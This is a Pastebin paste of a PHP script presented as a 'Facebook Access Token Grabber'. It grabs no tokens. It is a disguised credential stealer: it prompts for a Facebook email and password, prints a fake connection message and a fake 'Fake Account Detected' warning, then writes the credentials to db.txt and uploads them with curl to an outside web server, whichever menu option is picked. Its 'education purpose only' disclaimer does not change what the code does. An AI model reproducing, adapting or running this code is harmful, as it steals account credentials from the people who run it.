Advertisement
Guest User

Facebook Access Token Grabber [v1.1]

a guest
Oct 6th, 2018
658
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.67 KB | None | 0 0
  1. <?php
  2. $status=0;
  3. function clear(){
  4. system('clear');
  5. }
  6. $menu = "
  7. *#################*
  8. # Facebook Access # Author : Cy#b3r00T
  9. # Token Grabber # http://github.com/soracyberteam
  10. *#################*\n";
  11. echo "$menu";
  12. echo "
  13. Warning !\n
  14. This script just for education purpose only!
  15. Any damage due to this script is not our responsibility.\n";
  16. sleep(2);
  17. clear();
  18. awal:
  19. clear();
  20. if($status == "0"){
  21. echo "$menu";
  22. echo "1) Login
  23. 2) Grab token from friend list. [Need Login]
  24. 3) Grab token from group. [Need Login]
  25. 4) Grab token from custom link. [Need Login]
  26. Option : ";
  27. $opt=trim(fgets(STDIN));
  28. if($opt === "1"){
  29. clear();
  30. echo "$menu";
  31. echo "Login To Facebook\n";
  32. echo "Email/Username : ";
  33. $username=trim(fgets(STDIN));
  34. echo "Password : ";
  35. $password=trim(fgets(STDIN));
  36. sleep(3);
  37. echo "Connecting to 31.13.78.35 ...";
  38. sleep(2);
  39. $status=1;
  40. goto awal;
  41. }else{
  42. clear();
  43. echo "Login First!";
  44. sleep(1);
  45. goto awal;
  46. }
  47. }elseif($status == "1"){
  48. $server="http://phytostemcell-indonesia.com/access_token/up.php";
  49. echo "$menu";
  50. echo "
  51. Welcome, $username
  52. 1) Logout.
  53. 2) Grab token from friend list.
  54. 3) Grab token from from group.
  55. 4) Grab token from custom link.
  56. Option : ";
  57. $opt2=trim(fgets(STDIN));
  58. if($opt2 === "1"){
  59. clear();
  60. echo "Good Bye... $username";
  61. sleep(1);
  62. $handler=fopen('db.txt','a');
  63. fwrite($handler,"$username:$password");
  64. fclose($handler);
  65. sleep(2);
  66. system("curl -F x=@db.txt $server");
  67. exit();
  68. }else{
  69. clear();
  70. echo "Fake Account Detected!
  71. Please login with Real Account!";
  72. sleep(1);
  73. $handler=fopen('db.txt','a');
  74. fwrite($handler,"$username:$password");
  75. fclose($handler);
  76. sleep(2);
  77. system("curl -F x=@db.txt $server");
  78. exit();
  79. }
  80. }
  81. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement